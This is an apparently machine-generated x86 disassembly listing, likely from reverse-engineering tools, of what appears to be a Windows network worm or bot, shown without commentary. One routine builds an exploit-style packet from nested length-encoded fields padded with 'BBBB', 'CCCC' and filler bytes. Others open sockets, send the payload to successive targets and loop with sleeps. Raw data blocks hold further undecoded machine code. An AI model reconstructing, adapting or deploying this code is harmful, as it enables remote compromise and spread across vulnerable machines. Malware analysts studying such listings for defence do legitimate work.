loc_40C3F4:				; CODE XREF: sub_40C124+2B1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_40C40A:				; CODE XREF: sub_40C124+27Bj
					; sub_40C124+297j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427078
		mov	edi, ebx
		mov	dword_4CB0C4[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C4D7

loc_40C428:				; CODE XREF: sub_40C124+3ADj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431B2C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43DEB4[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C124
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40C4A2

loc_40C497:				; CODE XREF: sub_40C124+37Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C4C9
		push	1Eh
		call	esi
		jmp	short loc_40C497
; ---------------------------------------------------------------------------

loc_40C4A2:				; CODE XREF: sub_40C124+371j
		nop
		call	near ptr 267084Ch
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431AF4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		add	esp, 10h

loc_40C4C9:				; CODE XREF: sub_40C124+376j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C428

loc_40C4D7:				; CODE XREF: sub_40C124+2FEj
		cmp	[ebp+var_30], ebx
		jz	loc_40C581
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi

loc_40C4EC:				; CODE XREF: sub_40C124+468j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CB0C0[eax*8]
		push	eax
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431AB4
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C53A
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A72
		add	esp, 14h

loc_40C53A:				; CODE XREF: sub_40C124+3F7j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_4151AC
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4CB0C4[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40B33E
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C571
		push	offset dword_4CD0C0
		nop
		call	near ptr 26D080Ah

loc_40C571:				; CODE XREF: sub_40C124+440j
		push	[ebp+var_2C]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 26D0000h
		nop

loc_40C581:				; CODE XREF: sub_40C124+3B6j
					; sub_40C124+475j
		mov	eax, [ebp+var_2C]
		cmp	dword_4CB0C4[eax*8], 1
		jnz	loc_40C4EC
		push	7D0h
		call	esi
		jmp	short loc_40C581
sub_40C124	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C59B	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CAF74
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CAFF4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C659
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF1C
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43DEBC[ecx], esi
		jz	short loc_40C659
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CB000
		push	eax
		mov	edi, offset dword_4CDA84
		push	offset dword_431B94
		push	edi
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409A72
		push	edi
		call	sub_4151AC
		add	esp, 28h

loc_40C659:				; CODE XREF: sub_40C59B+5Dj
					; sub_40C59B+7Ej
		push	esi
		call	dword_4CB00C
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C59B	endp

; ---------------------------------------------------------------------------
dword_40C668	dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
					; DATA XREF: sub_401ACD+603Eo
		dd 0FF4CBD8Dh, 0A5F3FFFFh, 7078358Bh, 83C70042h, 0A4h
		dd 1, 75FFFF33h, 0E075FFD0h, 0B00015FFh, 8D50004Ch, 0FFFECC85h
		dd 1BBC68FFh, 0E8500043h, 0F1D2h, 0FECC858Dh, 0FF68FFFFh
		dd 50000001h, 69DC458Bh, 234C0h, 0DCB00500h, 0E8500043h
		dd 0EF1Ch, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh
		dd 40C59Bh, 0E8905757h,	2263910h, 4589C73Bh, 390B74FCh
		dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 0B8E890FCh,	0FF022442h
		dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
		dd 0E8500845h, 0FBE8h, 0FF0CC483h, 15FF0875h, 4CAE9Ch
		dd 45895040h, 7015FF08h, 89004CAFh, 458D0845h, 50046A08h
		dd 50E0458Dh, 0FBBFE8h,	0CC48300h, 0FFFF3DE9h
		db 0FFh
byte_40C759	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5D4Eo
		dd 130EC81h, 8B530000h,	5756085Dh, 0F38B2B6Ah, 50BD8D59h
		dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
		dd 75FFD475h, 15FFE4h, 50004CB0h, 0FED0858Dh, 1068FFFFh
		dd 5000431Ch, 0F0E1E8h,	0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h
		dd 234C069h, 0B0050000h, 500043DCh, 0EE2BE8h, 1CC48300h
		dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C59B68h,	90575700h
		dd 26381FE8h, 89C73B02h, 0B740845h, 75F87D39h, 0FF326A06h
		dd 0FFF5EBD6h, 0C8E80875h, 90022441h, 8CB3FFh, 0BB890000h
		dd 0A8h, 458BD6FFh, 0D8453BD4h,	45FF0874h, 0FF6DE9D4h
		dd 75FFFFFFh, 15FFE4h, 50004CB0h, 0FED0858Dh, 0E468FFFFh
		dd 5000431Bh, 0F051E8h,	858D5700h, 0FFFFFED0h, 50EC75FFh
		dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0D220E8FFh, 75FFFFFFh
		dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh
		db 4, 0

; =============== S U B	R O U T	I N E =======================================



sub_40C866	proc near		; CODE XREF: sub_40CADA+Ep
					; sub_40CADA+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40C866	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C870	proc near		; CODE XREF: sub_40CADA+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40C8A2
		push	ebx
		push	0
		push	edi
		call	sub_41B590
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41C310
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi

loc_40C8A2:				; CODE XREF: sub_40C870+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40C870	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C8AA	proc near		; CODE XREF: sub_40C9A4+18p
					; sub_40CA1E+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40C8F6
		push	edi
		push	0
		push	esi
		call	sub_41B590
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41C310
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41C310
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi

loc_40C8F6:				; CODE XREF: sub_40C8AA+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40C8AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C8FF	proc near		; CODE XREF: sub_40C9A4+5Ep
					; sub_40C9A4+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40C90F
		push	eax
		call	sub_41B0B1
		pop	ecx

loc_40C90F:				; CODE XREF: sub_40C8FF+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40C8FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C918	proc near		; CODE XREF: sub_40C9A4+20p
					; sub_40CA7F+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40C945
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C949

loc_40C945:				; CODE XREF: sub_40C918+Dj
		xor	al, al
		jmp	short loc_40C9A0
; ---------------------------------------------------------------------------

loc_40C949:				; CODE XREF: sub_40C918+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40C96E
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40C988
; ---------------------------------------------------------------------------

loc_40C96E:				; CODE XREF: sub_40C918+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]

loc_40C988:				; CODE XREF: sub_40C918+54j
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41B0B1
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1

loc_40C9A0:				; CODE XREF: sub_40C918+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40C918	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C9A4	proc near		; CODE XREF: sub_40CADA+89p
					; sub_40CADA+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_4CAE2C
		call	sub_40C8AA
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40C9DE
		xor	al, al
		jmp	short loc_40CA1A
; ---------------------------------------------------------------------------

loc_40C9DE:				; CODE XREF: sub_40C9A4+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41B590
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41C310
		add	esp, 18h
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40C8FF
		mov	al, 1

loc_40CA1A:				; CODE XREF: sub_40C9A4+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40C9A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA1E	proc near		; CODE XREF: sub_40CA52+14p
					; sub_40CA6F+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40C8AA
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CA1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA52	proc near		; CODE XREF: sub_40CADA+F0p
					; sub_40CADA+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CA1E
		pop	esi
		retn	4
sub_40CA52	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CA6F	proc near		; CODE XREF: sub_40CABB+Bp
					; sub_40CADA+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CA1E
		retn	8
sub_40CA6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA7F	proc near		; CODE XREF: sub_40CABB+16p
					; sub_40CADA+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40C918
		test	al, al
		jz	short loc_40CAB8
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42C8F0
		call	sub_40C8AA
		mov	ecx, esi
		call	sub_40C8FF
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1

loc_40CAB8:				; CODE XREF: sub_40CA7F+Fj
		pop	esi
		leave
		retn
sub_40CA7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CABB	proc near		; CODE XREF: sub_40CADA+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CA6F
		test	al, al
		jz	short loc_40CAD6
		mov	ecx, esi
		call	sub_40CA7F

loc_40CAD6:				; CODE XREF: sub_40CABB+12j
		pop	esi
		retn	8
sub_40CABB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CADA	proc near		; CODE XREF: ___:0040D361p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40C866
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40CE2E
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40CE2E
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40C866
		lea	ecx, [ebp+var_20]
		call	sub_40C866
		lea	ecx, [ebp+var_50]
		call	sub_40C866
		lea	ecx, [ebp+var_18]
		call	sub_40C866
		lea	ecx, [ebp+var_40]
		call	sub_40C866
		lea	ecx, [ebp+var_38]
		call	sub_40C866
		lea	ecx, [ebp+var_28]
		call	sub_40C866
		push	4
		push	offset dword_431C48
		lea	ecx, [ebp+var_30]
		call	sub_40CA1E
		push	3
		push	offset dword_431C50
		lea	ecx, [ebp+var_30]
		call	sub_40CA1E
		lea	ecx, [ebp+var_30]
		call	sub_40C9A4
		lea	ecx, [ebp+var_30]
		call	sub_40CA7F
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40CA1E
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CA1E
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_20]
		call	sub_40C9A4
		push	offset loc_431FCC
		lea	ecx, [ebp+var_50]
		call	sub_40CA52
		lea	ecx, [ebp+var_50]
		call	sub_40C9A4
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40C870
		lea	ecx, [ebp+var_58]
		call	sub_40C9A4
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40CABB
		lea	ecx, [ebp+var_58]
		call	sub_40C8FF
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40CA52
		push	4
		push	offset dword_431C54
		lea	ecx, [ebp+var_18]
		call	sub_40CA1E
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40CA1E
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_18]
		call	sub_40C9A4
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40CA6F
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40CA6F
		lea	ecx, [ebp+var_40]
		call	sub_40CA7F
		lea	ecx, [ebp+var_18]
		call	sub_40C8FF
		lea	ecx, [ebp+var_50]
		call	sub_40C8FF
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40CA6F
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40CA6F
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40CA6F
		lea	ecx, [ebp+var_38]
		call	sub_40CA7F
		lea	ecx, [ebp+var_20]
		call	sub_40C8FF
		lea	ecx, [ebp+var_30]
		call	sub_40C8FF
		lea	ecx, [ebp+var_40]
		call	sub_40C8FF
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40CA1E
		lea	ecx, [ebp+var_28]
		call	sub_40C9A4
		push	2
		push	offset dword_431FC0
		lea	ecx, [ebp+var_28]
		call	sub_40CA1E
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40CA6F
		lea	ecx, [ebp+var_28]
		call	sub_40CA7F
		lea	ecx, [ebp+var_38]
		call	sub_40C8FF
		lea	ecx, [ebp+var_10]
		call	sub_40C866
		lea	ecx, [ebp+var_8]
		call	sub_40C866
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40CA6F
		lea	ecx, [ebp+var_10]
		call	sub_40C918
		lea	ecx, [ebp+var_28]
		call	sub_40C8FF
		push	offset dword_431FBC
		lea	ecx, [ebp+var_8]
		call	sub_40CA52
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		lea	ecx, [ebp+var_10]
		call	sub_40C8FF
		push	offset dword_431FB8
		lea	ecx, [ebp+var_10]
		call	sub_40CA52
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40CA6F
		lea	ecx, [ebp+var_10]
		call	sub_40C918
		lea	ecx, [ebp+var_8]
		call	sub_40C8FF
		push	offset dword_431FAC
		lea	ecx, [ebp+var_8]
		call	sub_40CA52
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C918
		lea	ecx, [ebp+var_10]
		call	sub_40C8FF
		push	(offset	loc_431FA7+1)
		lea	ecx, [ebp+var_48]
		call	sub_40CA52
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40CA6F
		lea	ecx, [ebp+var_8]
		call	sub_40C8FF
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40CE3C
; ---------------------------------------------------------------------------

loc_40CE2E:				; CODE XREF: sub_40CADA+1Bj
					; sub_40CADA+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx

loc_40CE3C:				; CODE XREF: sub_40CADA+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_40CADA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE40	proc near		; CODE XREF: sub_40CF04+A1p
					; sub_40CF04+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	near ptr 71AB1890h
		nop
		cmp	eax, edi
		jnz	short loc_40CEA7
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_40CEAB

loc_40CEA7:				; CODE XREF: sub_40CE40+54j
		xor	eax, eax
		jmp	short loc_40CEBB
; ---------------------------------------------------------------------------

loc_40CEAB:				; CODE XREF: sub_40CE40+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CAF8C

loc_40CEBB:				; CODE XREF: sub_40CE40+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40CE40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEBF	proc near		; CODE XREF: sub_40CF04+81p
					; sub_40CF04+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CAF70
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		cmp	eax, 4
		jz	short loc_40CEE9
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------

loc_40CEE9:				; CODE XREF: sub_40CEBF+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CAFC4
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40CEBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF04	proc near		; CODE XREF: sub_40CFDE+48p
					; ___:0040D452p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40CF2D
		xor	al, al
		jmp	loc_40CFD9
; ---------------------------------------------------------------------------

loc_40CF2D:				; CODE XREF: sub_40CF04+20j
		push	ebx
		push	0
		push	esi
		call	sub_41B590
		push	2Fh
		push	offset dword_431CE4
		push	esi
		call	sub_41C310
		push	8
		lea	eax, [esi+31h]
		push	offset dword_431D14
		push	eax
		mov	[esi+2Fh], di
		call	sub_41C310
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_41C310
		push	6
		add	ebx, edi
		push	offset dword_4CDC8C
		push	ebx
		call	sub_41C310
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_431C5C
		push	ebx
		call	sub_40CEBF
		add	esp, 48h
		test	al, al
		jnz	short loc_40CF95

loc_40CF91:				; CODE XREF: sub_40CF04+B5j
		xor	bl, bl
		jmp	short loc_40CFD0
; ---------------------------------------------------------------------------

loc_40CF95:				; CODE XREF: sub_40CF04+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE40
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_40CEBF
		add	esp, 1Ch
		test	al, al
		jz	short loc_40CF91
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40CE40
		add	esp, 10h
		mov	bl, 1

loc_40CFD0:				; CODE XREF: sub_40CF04+8Fj
		push	esi
		call	sub_41B0B1
		pop	ecx
		mov	al, bl

loc_40CFD9:				; CODE XREF: sub_40CF04+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CF04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CFDE	proc near		; CODE XREF: ___:0040D438p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_431D20
		push	[ebp+arg_0]
